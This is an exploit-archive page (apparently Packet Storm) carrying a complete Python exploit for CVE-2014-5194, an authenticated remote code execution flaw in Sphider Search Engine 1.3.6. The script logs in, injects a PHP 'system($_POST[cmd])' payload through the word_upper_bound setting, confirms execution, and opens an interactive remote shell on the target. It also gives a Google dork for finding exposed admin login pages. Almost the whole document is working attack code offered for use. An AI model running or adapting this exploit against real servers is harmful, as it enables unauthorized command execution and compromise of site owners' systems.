exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Sphider Search Engine 1.3.6 Remote Code Execution

Sphider Search Engine 1.3.6 Remote Code Execution
Posted Oct 27, 2020
Authored by Gurkirat Singh

Sphider Search Engine version 1.3.6 remote code execution exploit.

tags | exploit, remote, code execution
advisories | CVE-2014-5194
SHA-256 | 12d453d48a78bb7d7a0b6ff07688be488721af5843b001df66e28674efaec9ab

Sphider Search Engine 1.3.6 Remote Code Execution

Change Mirror Download
# Exploit Title: Sphider Search Engine 1.3.6 - 'word_upper_bound' RCE (Authenticated)
# Google Dork: intitle:"Sphider Admin Login"
# Date: 2014-07-28
# Exploit Author: Gurkirat Singh
# Vendor Homepage: http://www.sphider.eu/
# Software Link: http://www.sphider.eu/sphider-1.3.6.zip
# Version: v1.3.6
# Tested on: Windows and Linux
# CVE : CVE-2014-5194
# Proof of Concept: https://www.exploit-db.com/exploits/34189

from argparse import ArgumentParser, RawTextHelpFormatter
from huepy import *
import string
import random
from bs4 import BeautifulSoup, Tag
from requests import Session
from randua import generate as randua

_F = "".join(random.choices(string.ascii_letters, k=13))

parser = ArgumentParser(description="Exploit for CVE-2014-5194",
formatter_class=RawTextHelpFormatter)
parser.add_argument("--target",
"-t",
help="target uri where application is installed",
required=True,
metavar="",
dest="t")
parser.add_argument("--user",
"-u",
help="username to authenticate",
required=True,
metavar="",
dest="u")
parser.add_argument("--password",
"-p",
help="password to authenticate",
required=True,
metavar="",
dest="p")
parser.add_argument("--debug",
help="if passed, spawn the firefox window",
default=True,
action="store_false")
parser.add_argument("--timeout",
help="timeout in seconds (default: 1)",
dest="T",
metavar="",
default=1)
args = parser.parse_args()

if args.t.endswith("/"):
args.t = args.t[:-1]

print(run("Logging in"))

with Session() as http:
data = {"user": args.u, "pass": args.p}

headers = {"User-Agent": randua()}
http.post(args.t + '/admin/auth.php',
data=data,
headers=headers,
allow_redirects=False)
r = http.get(args.t + '/admin/admin.php',
headers=headers,
allow_redirects=False)
html = BeautifulSoup(r.content.decode(), "lxml")
title: Tag = html.find("title")

if title.text == "Sphider Admin Login":
print(bad("Failed to login"))
exit(1)
else:
print(good("Logged in"))

payload = {
'f': 'settings',
'Submit': '1',
'_version_nr': '1.3.5',
'_language': 'en',
'_template': 'standard',
'_admin_email': 'admin@localhost',
'_print_results': '1',
'_tmp_dir': 'tmp',
'_log_dir': 'log',
'_log_format': 'html',
'_min_words_per_page': '10',
'_min_word_length': '3',
'_word_upper_bound': '100;system($_POST[cmd])',
'_index_numbers': '1',
'_index_meta_keywords': '1',
'_pdftotext_path': 'c:\\temp\\pdftotext.exe',
'_catdoc_path': 'c:\\temp\\catdoc.exe',
'_xls2csv_path': 'c:\\temp\\xls2csv',
'_catppt_path': 'c:\\temp\\catppt',
'_user_agent': 'Sphider',
'_min_delay': '0',
'_strip_sessids': '1',
'_results_per_page': '10',
'_cat_columns': '2',
'_bound_search_result': '0',
'_length_of_link_desc': '0',
'_links_to_next': '9',
'_show_meta_description': '1',
'_show_query_scores': '1',
'_show_categories': '1',
'_desc_length': '250',
'_did_you_mean_enabled': '1',
'_suggest_enabled': '1',
'_suggest_history': '1',
'_suggest_rows': '10',
'_title_weight': '20',
'_domain_weight': '60',
'_path_weight': '10',
'_meta_weight': '5'
}

print(run("Exploiting"))
http.post(args.t + "/admin/admin.php", data=payload)
r = http.post(args.t + "/settings/conf.php", data={"cmd": "echo %s" % _F})
if r.content.decode().strip() != _F:
print(bad("Failed"))
exit(1)
print(good("Exploited"))
print(info("Spawning Shell"))
user = http.post(args.t + "/settings/conf.php", data={"cmd": "whoami"})
host = http.post(args.t + "/settings/conf.php",
data={"cmd": "cat /etc/hostname"})
shell = f"{lightgreen('%s@%s'%(user.content.decode().strip(), host.content.decode().strip()))}{blue('$ ')}"

while True:
try:
cmd = input(shell)
if cmd == "exit": break
r = http.post(args.t + "/settings/conf.php", data={"cmd": cmd})
print(r.content.decode().strip())
except:
break
print()

Login or Register to add favorites

File Archive:

February 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    11 Files
  • 2
    Feb 2nd
    9 Files
  • 3
    Feb 3rd
    5 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    0 Files
  • 6
    Feb 6th
    9 Files
  • 7
    Feb 7th
    33 Files
  • 8
    Feb 8th
    34 Files
  • 9
    Feb 9th
    0 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    0 Files
  • 13
    Feb 13th
    0 Files
  • 14
    Feb 14th
    0 Files
  • 15
    Feb 15th
    0 Files
  • 16
    Feb 16th
    0 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close